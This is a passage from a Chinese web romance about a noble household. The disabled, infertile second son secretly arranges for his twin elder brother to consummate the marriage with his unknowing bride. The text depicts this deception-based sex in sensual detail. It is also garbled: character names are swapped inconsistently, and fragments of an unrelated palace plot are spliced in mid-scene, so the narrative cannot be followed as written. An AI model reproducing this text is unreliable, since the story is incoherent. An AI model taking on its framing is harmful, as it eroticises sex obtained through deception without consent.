自己身上掉下来的肉,没有不疼的道理,可每每看到他这张与玄章相似的脸上写满颓丧,她又不忍心再看,世子愿意担负起帮扶弟弟的责任,她也就听之任之了。 好在他这两日安分许多,不声不响搬去了怀思堂,听临渊堂的下人说,二公子已经不那么抗拒被人直视双腿。 这是好事,沈夫人不免欣慰他们兄弟二人情谊,经历这些事后,竟还能兄友弟恭:“娘不是那个意思,只是你媳妇看着是个心高的,提前压一压她的心,省得日后受不了。” 太子垂眸,母亲说的其实都是实话,来了金陵,他才发现天下英雄真如过江之鲫,他在盈盈心里是宝宜,扔进皇城,不过是一颗鱼目。 好比宫里内承运库里筛选东南沿海进上的珍宜,一箱的明宜倾在罗盘上,内监的手滚上几滚,不同品质的珍宜就落到自己相应尺寸的夹层。 宫里只留下头等尺寸、色泽的上品打首饰,他混杂其中,虽然不算是滚落到下层的最次等,但也无人在意。 兄长有时候说的没错,他即便没有断腿,也未必能做出什么惊天动地的成就,只不过这件事给了他怨天尤人的借口,不必强忍着心里的愤懑,在人人羡慕的兄长面前装作若无其事。 他缓缓开口:“阿娘,我想到郊外走走,好散散心。” 因为身体不便,他很久都没去探望过岳母,崔夫人一向对他很好,只希望他能对盈盈百依百顺,做女婿做到他这个地步,实在很不应该。 沈夫人对这个儿子一直是予取予求,反而不像对玄章小时候还偶尔严苛教导,笑道:“这也好,多叫几个人陪你去,逛两三日不妨事。” 夜里飘过一场雪,晨起时金陵的青石街道上只留下薄薄霜露,马滑难行,但郊外的山坡还覆着一层晶莹剔透的白。 崔氏早早等在门外,她夜里睡得不好,一直等到镇国公府的马车停在面前才觉得心安。 沈幼宜轻快地跳下车,伸臂揽住母亲:“阿娘,快些进去,哪有在外面等我的道理。” 崔氏往她身后瞥了一眼,只看见红麝一个,浅浅笑道:“玄朗没陪你来?” 他漫不经心瞥过那处楼阁,轻叹一声,微阖双目。 她是弟妇,只是要向他借一粒种子,不是他可以随意索取的妻子。 然而即便她娇滴滴地唤他二郎,也无法平息骤然而至的念头。 那一夜,玄朗只是听到了声音。 即便那人真是二郎,他也该清楚,此时此刻,自己本来就可以当着他的面,冒犯他的妻子。 只是眼前的弟妇懵懂无知,她全然不知自己正在被谁侵\犯着,只当是在和丈夫调弄风月。 要是弟妇知道此刻是他在享用她的温柔娇媚,一定会向她的丈夫和下人呼救。 可是,又有谁会来救她呢? 她行走不便的丈夫吗? 她只会一边咬着唇哭,一边被按在湖石上…… 沈幼宜以为他是吃醋,疑心她被哪家浪子看去肌肤,孰料她的郎婿倏然睁开双目,按住她的力气也大了些。 但吩咐人的时候语气温和许多:“无妨,闭眼。” 这些荣华富贵似空中楼阁,说不定哪一日就会把她从九十九重天上摔下去,粉身碎骨。 她摇了摇头,低声道:“只要我说不,殿下就会告诉我吗?” 二皇子不置可否,他压抑着咳嗽了几声:“宜娘,我说的话,你很少信过。” 沈幼宜自己就是记仇的人,她忽而想起,她信不过他的医术,也不喝他的药,甚至豁下脸面求人之后,转身搭上了他的父皇。 由己及人,她如今都要担心眼前的男子是来看她出糗,幸灾乐祸的。 她衣袖底下的手近乎紧握成拳,可再开口时温柔了许多。 “没有觉得不合算。” 她稍稍走近些许,熟练地露出楚楚动人的神态:“可萧郎君因我而去,你的身体又不大好……” 沈幼宜半抬眼眸,柔声道:“我只是很担心,这是我自己的因果,不想将旁人也一并卷了进来。” 第 42 章 第 42 章 沈幼宜以为,男子对女郎的欲应当与身体好坏有关,一个风吹吹就倒的男人,很难让她产生警惕的心理,能毫无防备地欣赏对方的美貌。 譬如二皇子与皇后一脉相承的美貌,精致的五官上流露出淡淡疲倦厌烦的傲慢,除了皇位,他已经什么都有了,对能令无数男女痴狂的东西早感厌倦。 身处这个位置,拥有一副羸弱身躯,他努力没什么用处,疏狂放诞也不会失去些什么。 但假如他对她有些想头,且至今未灭,那这一切就都说得通了。 她是一个他始终得不到的美人。 崔氏伸手要戳她的额,盈盈是她肚子里出来的,瞧她这副欲言又止的模样就知道她要冒出些什么气人的话:“你还小呢,且由着他们骗你,别以为男人都看重青梅竹马的情谊,更不说姑爷又比你大了快十岁,瞧他一家子日后把你连皮带骨吃干净了,哭都没地方哭去!” 沈幼宜被母亲一斥,稍有惧意,低低道:“我只是想……还不至于如此,说不定过几日就好了,二郎从前对咱们多好呀,婆母虽然看着严厉,但对你和阿爹也尊重,还让人拿钱寄到父亲寓所,又给你备了礼,说让我夜里陪着阿娘,不像是磋磨媳妇的人家。” “妾身已然托体陛下,若太子即位,怕是与郎君再无缘分。” 她用绸帕沾了沾眼角几乎瞧不见的珠泪,低低道:“殿下也知道,万一东窗事发,储君与宠妃之间,陛下会如何抉择,便是我身死魂灭,陛下也未必舍得废太子。” 为她制衣织锦染色的人足有上千,可是沈幼宜仍然保持了使用素帕的旧习,她不要求做帕子的布料多么名贵难得,只要求舒适柔软。 这算得上贵妃难得的俭朴,但她实则另有用处。 太子忍过那阵疼痛,才冷冷道:“我当然清醒,要不是为了兄长,今日就当是我出将入相,与盈盈生儿育女,也轮不到兄长不情不愿地替我受这份罪!” 养父这些年对他一直很好,虽然他并不是陈家的儿子,但养父捡回他后一直视他如己出,终身不另娶,将与沈家定下的婚事给了他。 只是被兄长认回国公府,亲人相见之后焉能没有怨恨? 他们是双生子,只凭出生的时辰定大小,当年圣上起事,镇国公奉命率兵镇压,但暗中双方早有往来,因此父亲临阵倒戈后,哀帝大怒,要擒拿裴氏族人,护送他的忠仆力竭身亡,他才被养父捡到。 太子以为他也算是好命的人,年少经历疫病,也只是高烧了几日,旁人家勉励子孙上进,都以他为榜样,未婚妻子也是一等一的出挑,可直到遇见元朔帝,他才晓得原本自己可以做出什么样的成就。 他所向往的县令一职,不过是镇国公世子履历上的一笔,乡间德高望重的举人老爷连迈进镇国公府的大门都难,想见元朔帝的人从早排到晚,他们怀着各不相同的目的,申冤、求官、交游…… 连要他心爱的女子陪元朔帝睡上几晚,在母亲眼里都是委屈了长子。 即便是他成为裴府的二公子,为了镇国公府和他日后,生死关头也要尽全力保证元朔帝的安危。 因为血脉相同,他这几日在隔壁听声,偶尔恍惚,仿佛榻上与盈盈相拥在一起的男子已经变成了他,可又难免会想,这些本来也都可以是他的。 假如那日走失的是元朔帝呢? 侍从们噤若寒蝉,不敢发出一声,他们都知世子爷的脾性,他虽然耐心温和,轻易不会动怒,有时奴婢们犯错也只是告诫申饬一句,然而实则严厉,不过是有时认为不必和下人们多计较,又并非那等视人命如同草芥的宗亲贵胄,反而显得宽仁。 但二公子与他们身份不同,又是行走不便,才回到国公府,世子恐怕是对待将来的儿子都不会有对二公子这样嘘寒问暖。 可世子毕竟注重规矩,即便能容一时,也不能允许二公子一而再再而三地冒犯。 然而他们似乎担心得有些过分,世子重新拧了帕子,声音温和,不疾不徐道:“你若不是陈家的儿子,弟妇就不会做你的妻子,陈家无子,沈氏另外为女儿寻找夫婿算不得毁约,与镇国公府有何关联?” 不过须臾,太子几乎以为兄长面上的不悦是自己的错觉,他仍是被人追捧的高洁雅士,即便被讥谤挖苦,也能心如止水,不嗔不恼。 “她这样的品貌,再找一个富户不难,她只会同她的丈夫生儿育女。”他挥退侍从,眉眼低垂,轻声道,“你那时为何不与她讲明呢?” 他开始责令二郎与父母讲明,是以为二郎有嫌贫爱富的意思,但后来太子行走不便,又被诊出不能生育的患症,他以为退亲没什么不好,甚至母亲把沈幼宜认作义女,另嫁他人也可。 只不过要损失一份陪嫁而已。 太子有些烦躁,这其中的情由他已经同兄长说过几次,那时兄长分明也默许了,可现在还没开口,就被打断。 “是你自负,以为沈氏除了嫁你再也寻不到旁人庇护,必然会被权贵欺辱/亵/玩,还是自卑,不愿教人知道退婚是因为你不能生育且不良于行,看着她与旁人双宿双飞?” 元朔帝淡淡道:“你总说自己是个废人,偏偏又不甘心沉寂,屡次做出些事情,无非是盼着有朝一日能重新站起,还能做弟妇真正的丈夫,这些话你对我说说也就罢了,将来与她抚养子女,回忆起今日不堪,难道也是对她含讥带讽,倘若真是如此,那倒不如现下一纸休书,为时不晚。” 自从玄朗被认回国公府,她其实一直担心这桩婚事难以美满,从前是沈家不嫌弃陈家贫寒,丈夫相信朋友的人品,可是丈夫做官时与国公府也没有来往,不知镇国公夫妇脾性如何,她和女儿在金陵住着,玄朗也不肯上门拜访。 换作是以前,就是盈盈两三日不上门,他也要找个借口过来帮忙做活,不是砍柴挑水,就是帮崔夫人买些针头线脑,糕饼果子。 谁没有过年轻的时候,那点心思她还不懂么? 沈幼宜亲昵地同母亲坐到主屋的榻上,嗔怪道:“我才是阿娘亲生的,您见了我还不高兴么,只惦记着见他,世子有事情吩咐二郎,不能陪我一道来,不过他答应了的,等办完差一定回来见您。” 崔氏怜爱地看向女儿,摇头叹息:“盈盈,我只是担忧你,眼下只有咱们两个,你老老实实对我说,二郎他……对你是不是没有从前那么体贴了?” 要说丈夫对她体贴与否,沈幼宜也有些说不明白,她犹豫道:“我觉得还好,可能就是分别太久,郎君和我都有些害羞,他又忙……因此他对我很规矩客气,但也没什么不好。“ 女儿不自觉地替新婚夫婿找借口,这可不是什么好兆头,崔氏瞧着她像有些心虚似的喝完一盏茶,才像不经意问起:“这是他的不好,那二郎对你都是怎么好呢?” 沈幼宜才成婚几日,夫君又时常外出,要说出点好处来也太难为人了,支支吾吾道:“他担心我晚上睡不好,会开方子想着要我早些睡,还有……大概是怕我难受,只新婚合了一次房,瞧见我哭,他就不再动了。” 她身边没有同龄的亲密女子,就是有也不方便问人家是不是也一样,尽管心里觉察到有些不对,可还是安慰自己应当没什么问题。 这就是症结所在了,崔氏倒吸一口凉气,忍了又忍,才耐不住道:“盈盈,那不是体贴,这是他该抓几副药吃了。” 她才不会信什么不敢动的鬼话,哪有男人在这上面惜命的,盈盈平日里就爱娇,二郎不是不知道。 且不说这半路出家的医术如何,崔氏简直不敢细想国公府背后的谋算,要是单单为避免同房尴尬,想让盈盈早些睡下还不算什么,可若是裴府婚前就发现二郎不行,仍是要娶盈盈,那不就是为了遮羞? 将来要是盈盈生不出孩子,她本就没有娘家撑腰,岂不是要受气? 她见女儿面色有些难堪,自己何尝不是难以启齿,可婚前说得不透彻,婚后反倒是害人,无奈道:“你婚前不是看过书了么,阿娘以为你懂的,也怪我对你太放心,他若真是这样待你,不是在外有了相好,那就是……近乎不能人道了。” 谁能想到一个铁打的汉子,又是初婚,一切都该是顺顺利利才对,怎会有这种毛病? 沈幼宜倒没觉得那有什么不顺利的,要合房的时候郎君几乎不费什么工夫就起来了,但对她仍十分耐心,问她受不受得住,虽说时候太短,弄得人心里空落落的,可还不至于算不上男人。 他不想去面对一张和自己相似的脸,曾几何时,他靠近兄长就无比欢欣,以为自己总有一日能与他一样,然而现在他只能坐在椅上,像是任人宰割的鱼肉,只能期待旁人的帮助施舍,再也追不上兄长一星半点。 即便是治好了双腿又能怎样,他年岁渐长,那时再要出仕为官也远远及不上兄长的成就。 由冷转温的巾帕被轻柔取下,风吹过处,化作一声轻轻的叹息。 “玄朗,我从不是什么好人。” 元朔帝拍了拍他的肩,似有几多怅然的叹息:“我偶尔也会有我的私心。” 没有谁愿意永远承担手足为自己而重伤的歉疚,他也一样怀着卑劣的心思,试图用百依百顺弥补这份亏欠。 这一点他与父母并无二致。 盼着二郎娶了弟妇会心满意足是真的。 但如今,想弟弟休妻也是真的。 他垂眸道:“我奉上命,须得出去两日,你先回怀思堂住,仔细想想,想清楚了再来寻我。” 皇帝马上出身,好武刚厉,眼里容不得沙子,只是这两年岁月不饶人,御门听政的次数逐渐减少,可几位皇子正当壮年,镇国公府作为从龙的勋贵之一,已经默认站在太子一边,行事更须得小心谨慎,他不能再在府中耽搁,以免被有心人窥出实情。 镇国公府这片地方原是陈留王住宅,后来陈留王早夭,身死国除,又被赐给第一位镇国公做府邸,裴氏的先祖翻修重建过两三次,空置的院落颇多,怀思堂就是其中一处。 太子对府中位置熟悉了许多,虽知这个地方离自己与盈盈的住处太远,离开临渊堂,他再想顺着密道去探望盈盈就有许多不便,但留在此处,又恐被人发觉,不好明言,闷声应了一句是。 沈幼宜正在和红麝安排明日回门要拿的礼物,沈夫人虽有些瞧不上她,可在这上面并不亏待沈家,她再往这里填上一点心意就够了。 母亲不是没见过世面的女人,只是等沈幼宜记事以后,她的指腹掌根都有厚厚的一层茧,轻轻一抚,勾起她嫁衣的几缕丝。 当初陈伯父和爹爹是同窗好友,只是祖母仅有父亲一个儿子,守着十亩田地还能勉强过活,江南富庶,可人口稠多,分到每个人身上,土地只有薄薄几亩,陈家兄弟众多,到了陈伯父这一辈,经不住兄弟几个再分,一人手里就只剩下一二亩了。 要读书就要卖地,可即便卖了也只够陈伯父读一段时日,两浙湖徽都是出文人才子的地方,谁也不知日后如何,他刚考中了秀才,就回家种桑养蚕,托人说亲娶妻。 有了功名的读书人可以免去户内二丁的徭役,不必缴纳田地赋税,这是最务实的做法,但他本人却颇具豪侠义气,不愿做衙门讼师,闲暇之余常收取微薄酬劳,替不识字的农户写状纸。 父亲那时久试不中,被母亲埋怨,常陈伯父饮酒,羡慕他的洒脱人品,陈伯父习惯了男耕女织的平淡日子,劝说她父亲也不必执着考取进士,做什么大官,只是父亲有他的傲气清高,每次只是笑着摇摇头。 就是在那几年里,两家越走越近,约定以后生了儿女,要结一门亲事。 后来父亲进京赶考,一路高中,被圣上点了进士,北上做官,等任职期满又留京任户部主事,直到带着她回乡服母丧的时候,才知道老友数年前收养了一个在路上捡到的男婴,长相十分俊朗。 太子那时还叫陈朗,十三四岁的少年身材十分高大,隐约懂得什么是男婚女嫁,见长辈口中的未婚妻堪堪到他的腰,惊吓得连连摆手,惹来哄堂大笑。 父亲并没有悔婚的意思,只是不满这个未来女婿年纪略大,又不肯读书,他本是科举出身,虽然略通射御,但不希望女婿是个舞刀弄枪的武夫。 但她那个时候不知道什么是男女大防,小孩子格外喜欢年长些的朋友,难得父亲允许她接近一个人,他又懂许多她不晓得的新鲜知识,因此总追在他后面叫他哥哥,声音甜糯,要他带她去玩。 太子正是热衷于拳脚棍棒的年纪,还要被父亲及未来岳丈逼着去读书,身后突然多了这么一个甜白馥软的小姑娘,更招来许多同龄人的哄笑,他得哄着这个偷偷来找自己的未婚妻不哭,还要抽出手去驱赶好奇的玩伴,急得满头是汗,她却咯咯笑,觉得十分有趣。 后来她家道中落,父亲在狱中生死不知,往日攀附阿谀的亲友避之不及,唯独这个年长她近十岁的未婚夫赶来安顿她们母女,陪着母亲上下打点,直到父亲被判流放,也是他日夜兼程,荒废了一季田地,一路服侍父亲到寓所,接她们回乡安置,不时过来帮衬。 父亲无诏不得擅还,母亲却因为她的婚事被镇国公府一起接来金陵,金陵地贵,她不愿意在这里久留,担忧旁人说女儿的闲话,不日就要返乡。 她因着父亲的事情一向多思,连人也郁郁寡欢,后来被他宽慰,不免越发依恋,还被太子取笑,说她和小时候一样爱娇又黏人。 沈幼宜满腔情思,幽幽叹了一口气,尽管陈朗已经成了太子,可昔日相濡以沫的情谊还是真的,就算郎君在男女之事上有些不足,日后即便入仕,更不能和大伯的官爵相比,她也不会离弃的。 然而外间脚步杂乱繁急,打断了她的思绪,沈幼宜走出门来,看到是沈夫人拨来服侍二公子的随从,他正要请红麝来回禀二少奶奶,为二公子收拾一两件衣裳。 “你说是世子叫二郎去两日?” 沈幼宜有些讨厌自己的大伯了,他自己要为陛下办差,孤身不娶是他的事情,何必在这时候叫上二郎,让他们夫妻新婚分别。 虽是如此,她还是示意红麝,去取了丈夫厚实保暖的衣裳。 那小厮本就是奉命来送衣去怀思堂的,他年岁尚小,抬头偷觑二少奶奶的反应,却瞧见那天仙似的美人神色黯然,有几分失魂落魄似的,一时怔怔,连红麝递来的包袱都忘接了。 沈幼宜定了定心神:“我还有些话要叮嘱郎君,你在前面引路,我和他说完就回。” 其实太子看着粗枝大叶,但平日里总是他照顾她更多些,沈幼宜心底不舍是真的,但并不担忧丈夫外出,只不过是……有点脾气,想到夫兄面前晃上一晃,提醒他记着些他胞弟新婚。 太子的小厮面露难色,沈幼宜恼道:“我还不怕母亲知道了训斥,你为难些什么,就是世子也不能不叫我去见他!” 元朔帝短暂外出时至多只带官服与一身替换的常服,亲随四五人即可,他正欲催动身下坐骑,然而风将那一声声“夫君”遥遥送至,牵住了他的马蹄。 沈幼宜气喘吁吁,十月的天气,她额边还有汗意,只是望见他时又展颜一笑,提起一口气奔到他马前。 元朔帝蹙眉,弟妇看见他,这样欢喜做什么? “郎君,你怎么也不等等我?” 虽说世子不在这里,沈幼宜难免疑惑,但还不至于认错自己的丈夫。 她伸手牵住他衣角,娇声抱怨,目光里满是不舍:“怎么世子说的话就这样听,却狠心撇得下我……母亲还在庄子上等着你呢,记得回来的时候去瞧一瞧,她还惦记着给你做马蹄糕吃呢!” 沈幼宜试图离他更近些,然而她的丈夫却不作声,神情严肃而无奈。 他催马走动两步,连她手中那片衣角也飘开了。 身后的亲随见状连忙远离些许,这几个人沈幼宜不大认得,然而看他们的动作,她猜世子应当在这附近,但他为什么要这样畏惧兄长,人前连话也不和她说上一句,一时有些气恼:“记住了没有呀!” 元朔帝见她认错,还这样理直气壮地纠缠他,哪怕这几个亲信早已心知肚明,可终究是教下人瞧了笑话,沉声道:“弟妇,二郎已经先走了。“ “大伯?” 沈幼宜吃惊不小,几乎叫出声来。 只要将那些信件重新用药浸泡晾干,才能显出拼凑的裂痕。 他垂下眼:“这件事过去许久,太子听闻有一户山中人家,女儿与父母相继去世,官府还没来得及勾上一笔,便将你送到骊山去,想叫你重新入东宫为妃。” 这些沈幼宜大致能对得上,她身子抖得越发厉害,心底一片苦涩:“萧郎死在南诏,果然也是因为我了。” 她不肯做太子嫔妃,也不敢与他完全撕破脸,找上了如今的太子妃,要她在宴上动手脚,帮忙灌醉了太子,诱导太子将她随手转赠给陵阳侯。 沈怀安却奇异地沉默片刻,柔声道:“宜娘,起码萧侯曾拥有过你的真心。” 不可否认,宜娘对他也同样坦诚,但那不完全一样。 她待萧彻是完完全全的男女之情与感激,却未必意识到他们二人之间的情愫亲密,远非一般兄妹可比。 这种安慰十分别扭,沈幼宜想,或许萧彻也称得上是最符合阿兄心意的妹婿,她眼眶泛着红,道:“可我早把他忘了。” 不难想象,她后来再度落入太子掌中,成为被他豢养的一只娇贵鸟雀,沈幼宜想起来她如今的身份:“阿兄,我是阿耶阿娘抱来的?” 但她明明生得更像沈家人。 沈怀安否认了这一点,轻缓道:“宜娘,是与不是当真重要么,你依附卫氏,卫氏何尝不想攀附你的裙带呢?” 他怜爱地望着她:“卫氏女的身份足够你成为皇后,他们也盼望能做新君的外家。” 第 43 章 第 43 章 不在意再嫁是一回事,可她中了这样的毒,沈幼宜还是忍不住心中的酸涩,伏在他怀中哀哀哭泣,哽咽道:“他怎么能这样待我?” 男女彼此相悦的时候样样都好,可等到一方要分离的时候却十分不易,她仰头看向兄长,低声诉说自己的委屈:“我早便不想和他继续纠缠,可他总说要我再等他几年,但阿兄,我很害怕……” 她先后侍奉一对父子,做儿子的可以不计较,做父亲的也行吗? 沈幼宜想到那种可能,不免瑟缩了一下,元朔帝根本不知道太子与她这段过往,甚至太子如今还没放下与她的事情,擎等着继承他父皇留下的后宫…… 沈怀安擦拭了她鬓边汗珠,柔声道:“教陛下知晓你生病没什么,宜娘停了许久的药,你年纪还轻,要生养一个皇子不算难事,即便没有嫡出的名分,可太子……也非嫡出。” 他的妹妹早已不复当初的单纯天真,为达目的不惜手上染血,可此时同她说这些,他思忖着或许会吓坏了她。 女子的视线落在他喉结处,几乎凝成实质,那块看起来已经与他肌肤融成一体的皮肤才慢慢显出它的存在。 他出来太急,巾帕浸油热敷半刻钟,于他而言实在有些麻烦。 沈幼宜满面羞红,她虽不知人身上的痣为何会消失,可不便再直视外男,连忙退后几步,别过头去,咬紧了唇。 她刚刚在做什么? 对着正主讲他的坏话,才过门的新妇挑拨他们兄弟的情谊?一别数月,两人都有了许多变化,沈幼宜环抱住他时还有些吃力,她感受到夫君的安抚,并未安心地坐回榻上,反而愈发紧贴他的心口,声音低低:“郎君,应付宾客是不是很吃力?” 她不愿回忆这段时日丈夫和婆家对待自己的冷淡,宁可相信昔日照拂疼爱自己的情郎只是疲于应付。 元朔帝抚着她的背,虽有些不忍,处于太子身份下的他亦不好推开,叹了一口气,像是有些疲惫:“不错。” 不过论起最难缠,当属她真正的丈夫。 他想,或许应当尽快将二郎送到府外的庄园调养身体,那里更幽静,利于病人平复心情。 沈幼宜感受到身后的手掌缓缓用力,将她进一步贴近那绣着禽兽纹样的胸膛,几乎喘不过气来,羞怯地试图推了推,道:“还有合卺酒的,别这样急呀!” 元朔帝思绪回来,他沉思时会不自觉按住桌案,然而人的血肉之躯却不似坚实的书案,能给予他足够的对抗,尽管隔着厚厚的喜服,他的腹部竟感受到弟妇的丰盈柔软,像被一团云絮柔和地裹住,借不来一点力气。 只差三寸,他若按住她的头再向下些,她稍稍俯身,就可感知到他的窘迫。 他稍稍侧过头,松开手臂:“对不住,弄疼了你。” 沈幼宜只是有些新妇的害羞,闻言噗嗤一笑,踮脚在他颈侧啾了一下,不容他闪躲,去拿酒壶,行至一半却回身低低道:“这会子客气,一会儿还不是要欺负我?” 她想起新郎喜服胸前的禽兽纹样,想起从前他捉住她的手亲热,她虽然有些高兴,但是反倒哭起来了,太子开始还手足无措,试图哄一哄她,但是后来她哭得厉害,反而索性将她牢牢抱在怀中,胡乱亲了亲,没什么章法。 此刻的太子应当也会想起来,否则也不会对她如此拘谨客气,可她越发不敢看他的神情,怯怯道:“郎君,你跟着大伯出去好些时候,已经……懂了么?” 他那个时候说每个月的军饷都会想法子寄到她手上,万一有了孩子就生下来……枉她担惊受怕两三个月。 此情此景,元朔帝自然知他的弟妇在说些什么,然而此刻提到他,多少有些不自在,低声道:“兄长不会同我说这些,不过家中有书册可学。” 沈幼宜本意也不是想提那位镇国公世子,只是军中鱼龙混杂,就算她这位夫兄治下严苛,可也没有管士兵私下开下流玩笑的道理,和这些同龄男子在一处,学坏是很自然的事情。 不过听闻大伯不久后就将他认回,想来还没从士兵那里学会那些油腻轻浮。 反倒君子了许多,眼睛都像是不知往哪处瞟才对,连看她抬手饮酒时的纤纤玉腕似乎都成了一种失礼。 看来她这位夫兄是要将她的丈夫教成非礼勿视的书呆子了。 她见丈夫斟满了两盏酒递与自己,为屈就自己而俯身与她交盏,省得她踮脚辛苦,却不领这份情,莞尔道:“郎君为何一直要站着,咱们到帐里去喝不好么?” 太子从前也会刻意在她面前显露身形,他收紧腰腹时站若松柏,这会比坐姿更能显出他肌理线条,可现在哪是做这个的时候,她忍不住调戏道:“你难道还怕我吃了你不成?” 元朔帝微微蹙眉,他日后娶妇,自然是想着娶一位合乎心意的女子,他生性喜静,并不希望夫人会如弟妇这般轻浮,像一只大胆活泼的狸奴……但又勉强称得上有趣。 然而他望向那幅出浴图时,心下难免煎熬,那喜帐仿佛生了刺,只要捱一捱,立刻会刺得他头破血流。 他轻叹一声,若只是头破血流,于他而言反而好受些。 沈幼宜只当他被规矩束缚,两人又都是第一次,就是心里发急也不好意思,比姑娘还忸怩,便先一步叫红麝进来,回身觑他,含羞叮道:“秦妈妈问过我的意思,我想将郎君的浴间设在西侧,你……” 她说不下去,转身向外,却又倚门回首,低眉道:“自便罢!” 元朔帝颔首,她回身那一眼是道不尽的风流娇媚,像是一枚即将转熟的青果,在他触手可及的地方忽而化作一阵翩然的风,袅袅消散在他视线里。 她只是爱同自己的夫君撒娇,并没有什么错,不该被蒙在鼓里,在无知无觉时被他一个外男唐突。 他如此行径,同那假扮女子的采花贼有什么两样? 元朔帝深吸了一口气,内心犹豫再三,将那张杨妃图卷起半幅,沉声道:“二郎,你先出来,我有话同你讲。” 若太子同她讲明,她也愿意为了子嗣做下这等丑事,他还能自欺欺人些,他如今当真面对一个无知的女郎,如何下得去手? 为避免事情败露,裴氏先祖在密室内设置了机关,一旦密室内有人合闸,屋内的人不借助刀斧很难入内,那侧静悄悄的,教人很难不怀疑真正新郎喝得酩酊大醉,已经睡倒在另一侧。 元朔帝轻叹一口气,俯身扭动机关,却听那一侧传来“咔嗒”一声,反锁住内门。 本该被画册遮掩的墙壁处露出寸许见长的空隙,内里只有昏暗的光。 “兄长糊涂,做到这等地步,就是怕她伤心太过。” 太子抚摸着那截无知觉的腿,亲耳听见她用待自己的柔情蜜意来取悦他的兄长,他如何会不恼怒,可若他们终身不能有自己血脉的孩子,与他同日出生的兄长,就是最好的替代。 他的妻子未能发觉新郎换了旁人,而阿兄对盈盈的柔媚避若蛇蝎,一切都按照他们原定的路子有条不紊地行进下去,然而他心内却五味杂陈,不知是该怒还是该喜。 他将胸膛里那阵近乎哭泣的笑意忍回,轻描淡写道:“她不过是将枕边人认作了我,兄长若当真难堪,就当是做一场梦,梦醒了,您不仍是清清白白么?” 至于盈盈,他为她挑选了这样一个合适的男子,并不算辱没了她,她那样惹人娇怜,又离不开他,即便不慎知道,过一段时候也会晓得他的苦心。 或许兄长说得没错,他当真是变了,也会讥诮挖苦自己最亲近的人,太子将那缝隙合好,声音决绝凉彻:“兄长是当真觉得对不住我,还是就这样欢喜,瞧见我一次又一次哀求您与我的新妇合房生子,您觉得有趣,对不对?” 他像是犹嫌不足一般,轻轻叹息:“若是为她好,您尽管教她知晓,裴氏这样的人家,裴侍郎这样的人品,做出这等借子的丑事,看看是她高兴多些,还是会伤心欲绝?” 不待元朔帝再说些什么,门外的侍从轻轻叩门……浴间的水已经备好了。 他神情肃穆,舌尖的合卺酒有些微微发苦,涩得生疼。 男子沐浴总是更快一些,沈幼宜裹着披风回来时,喜帐外只余一对喜烛照亮,她想到自己内里穿的小衣,微微有些娇羞,放迟了走到帐边的步伐。 然而她才撩开帐子一角,内里那人轻捷起身,手臂一伸,便勾住她的腰,轻轻巧巧带她一道入帷。 沈幼宜没想到男子熄烛后与光亮下会是两种模样,羞怯难言,像是被施了定身法,使不出一点手段,只能任人宰割。 他阖了眼,像是沉浸入无边的欲,尽力忽略身前身后那两道目光,可还不忘学着书册上的动作,用手轻轻怜抚她。 她比这个年纪的女郎更丰腴些,可对比起他来还那样小,难免会不相符,他亲眼见过她的爱娇,二郎说她吃不得苦楚,他虽饮了许多烈酒想逃避这一切,可手上的动作下意识多了几分温柔。 沈幼宜低低哭出声音,她倒不是生气,只是不知如何表达自己的心意,迷迷糊糊的时候也会主动去寻他的唇齿,却被一只手掌牢牢按在枕上,只能被动依顺他的给予。 她又委屈了,因着他不肯给予唇齿间的缱绻。 无人顾及未掩好的帷幔会随着动作而微微飘荡,内里偶尔泄出女子一两声含糊不清的呜咽,直到她低低惊呼一声,随后那声音却戛然而止,一时万籁俱寂。 元朔帝的酒此刻全醒了。 他从未尝过这等说不出的滋味,才徐徐进至浅处,听她在枕边低低哭吟,竟已汗浸衣衫,关隘失守! 帐外朦胧的烛火微微透进来一些光亮,沈幼宜疑惑抬头,见她的夫君也变了面色。 元朔帝自知这是最好不过的事情,生育只需父精母血,并不需要这等龌龊的过程,他们不曾真正亲热,二郎在旁边听着也会觉得好受些,然而…… 他自幼事事顺遂,父母待他期许甚高,避免不了寻常男子的争强好胜之心,亦或者说,争强的心本就比旁人更甚十倍。 而沈幼宜却自以为隐蔽地拢起外裳,她局促不安,却又不知该如何掩盖此刻两人的尴尬,声音细若蚊呐,小心翼翼替他遮掩道:“郎君或许只是太累了……我觉得很好。” 只是绕紧发丝的手指却暴露了她的窘迫。 丝薄的绸衣用银线绣了并蒂莲,本该嵌在她心口处,只是那绣样才攀上那座峰峦,一只大掌按在她精巧锁骨处,半触在她柔软衣襟,半抚在她细腻处。 沈幼宜疑惑不解,像是有些受惊,低低唤他:“郎君?” 她恨不能闭上眼睛,醒来发觉只是一场梦。 然而梦里不会有马蹄踟蹰的声音,更不会有男子粗砺温热的指腹在她手背缓缓划过,留下一道轻浅红痕。 大伯的手更快一步,他俯身握住她的腕,食指却按在她的手背,或轻或重……袍袖交叠,遮盖住了袖底伯媳间的亲昵暧昧。 比起方才的疏远,这样亲近的举动更显轻佻浪/荡。 就是她的丈夫和她合了房,都不会在外面和她亲热的。 沈幼宜如被定身,心如鼓擂,一阵强似一阵,连挣扎和喘/息也忘了,像是在雄狮俯视下的雌兔,战战兢兢,失去了逃生的本能。 光天化日,传闻中不近女色的镇国公世子却当着随从的面调戏弟媳? 他就不怕她大喊大叫,在众人面前揭开他的真面目? 还是说……他拿捏住她担忧名声,以为她不敢? 沈幼宜偏头,想向侍从寻求帮助,可只这么一会儿,那些人竟消失得无影无踪! 一股绝望漫上她的心头,沈幼宜用尽力气,可发出的声音只能他用心才能听清:“世子要做什么!” 元朔帝压下片刻的心惊,他经事颇多,还不至于为此手足无措,见弟妇面色惊惶,才无可奈何似的,俯身靠近她耳畔,刻意压低了声音:“盈盈,我正在假扮阿兄,你叫嚷出来做什么?” 他握住弟妇时,她僵得像是一块冰冷的玉,被人的体温滋养也润不回来,然而只是用二郎的身份开口说了一句话,血色便重新回到她的脸上。 沈幼宜呆呆地,有些消化不来这话,等她慢慢咀嚼出马上男子的意思,才恨不得要寻个地缝钻进去! 她狠狠剜了丈夫一眼,可他大概是奉命办差,不好指责,气得只能跺了两下脚,牙都快要咬碎了:“那你怎么不早说!” 夫君和世子生得如此相似,除了亲密的人会留意到一些细微的不同,远远看着估计没人能认出来。 难怪陛下会这样吩咐,她是不是坏了夫君与世子的事? 她的二郎像是被她的胡搅蛮缠气笑了,解释道:“陛下有令,这事不能对任何人言明,这其中也包括妻子父母。” 元朔帝晓得圣上多疑的性子,府里必然有锦衣卫的探子,只是这句话还不算把柄,即便被人传到皇帝面前,他还有辩解的余地。 